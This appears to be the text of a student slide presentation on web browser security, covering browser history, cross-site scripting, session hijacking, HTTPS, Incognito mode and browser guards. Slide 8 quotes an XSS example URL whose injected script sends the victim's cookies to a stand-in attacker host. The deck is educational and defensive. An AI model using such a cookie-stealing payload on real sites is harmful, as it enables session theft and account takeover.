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Web Browser Security: Safeguarding Your Online Activities

Learn about the evolution of web browsers, security issues, and mitigation strategies to protect your personal information while accessing the internet daily. Explore the history of browsers, major security threats like Cross Site Scripting (XSS) and session hijacking, and practical tips to enhance your online safety. Understand the significance of encryption, Incognito mode, and browser guards in maintaining secure browsing experiences. Enhance your awareness, learn to protect yourself online, and stay vigilant against cyber threats.

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Web Browser Security: Safeguarding Your Online Activities

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  1. Web Browser Security By Robert Sellers Brian Bauer

  2. Relevance • Use Internet daily • Transmit personal information, needs to be secure • Content • History • Security Issues and Mitigation • Protection Introduction

  3. First ever browser – WorldWideWeb (1990) • Created at CERN by Tim Berners-Lee • Used internally, no real security threats • Would only display HTML text • Allowed downloading of other file types History

  4. Mosaic (1993) • First browser with a GUI • Lead to increase in Internet popularity • Netscape Navigator (1994) • Nearly disappeared by 2000 • Internet Explorer (1995) • Held as much as 95% of the market History

  5. Safari (2003) • Apple’s browser • Firefox (2004) • Open source • Chrome (2008) • Rapid increase in market share History

  6. Increase in security issues • Complexity of web sites and browsers • Size of the Internet • Anyone can access • Uses of Internet • Online banking • Shopping • More sharing of sensitive data Security Issues

  7. Cross Site Scripting (XSS) • Takes advantage of complex, dynamic web pages • Injects client side scripts, HTML • Can lead to cookie theft, browser redirection, untrusted content • Nearly 80% of vulnerabilities in 2007 (Symantec)  Security Issues

  8. Example http://portal.example/index.php?sessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/ • cookiesteal.cgi?'+document.cookie</script> • source: http://projects.webappsec.org/w/page/13246920/Cross-Site-Scripting • XSS Mitigation • Disable scripting • Sanitize input, escape HTML/scripts  • No script access to cookies  Security Issues

  9. Local Storage • Form data • Login credentials • Encryption - HTTP vs HTTPS • Packet sniffing -> session hijacking, password stealing Security Issues

  10. Incognito Mode (Google Chrome) • Allows user to switch between multiple privacy settings with the click of a button • Can be activated in one window/tab but not others  • Browser Guards • Modern browsers will prevent users from visiting malicious sites • Two main methods • List of reported malicious sites • Algorithm to detect malicious code on a site • This can protect from viruses, phishing, and other threats Protecting Yourself Online

  11. Browsers can only do so much • Much security is responsibility of web designers • Internet users should be aware of issues Conclusion

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